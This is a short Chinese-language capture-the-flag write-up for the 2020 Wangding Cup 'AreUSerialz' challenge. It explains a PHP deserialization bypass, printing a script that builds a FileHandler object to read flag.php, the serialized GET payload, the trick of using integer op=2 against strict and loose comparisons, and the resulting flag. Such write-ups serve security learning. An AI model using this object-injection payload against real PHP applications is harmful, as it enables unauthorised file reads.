[网鼎杯 2020 青龙组]AreUSerialz 1
打开实例,发现这题为代码审计,查看代码后,确认为GET传递str参数反序列化绕过
查看is_valid()
方法,发现str
参数传递的任意字符的ASCII码需要在32--125之间
直接构造payload
<?php
class FileHandler
{
public $op = 2;
public $filename = 'flag.php';
public $content = '';
}
$aaa = new FileHandler();
$res = serialize(@$aaa);
echo $res;
执行序列化
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
这边这个op
采用数值2是因为需要同时绕过='2'和'2'
,这样一来他既不满足字符串2的绝对等于,又能满足字符串2的模糊等于
执行成功
查看源代码,拿到flag
flag{3953b0d7-7bb3-4624-91ff-54edadfb81a9}
标签:AreUSerialz,青龙,flag,2020,str,网鼎杯
From: https://www.cnblogs.com/tazmi/p/18542768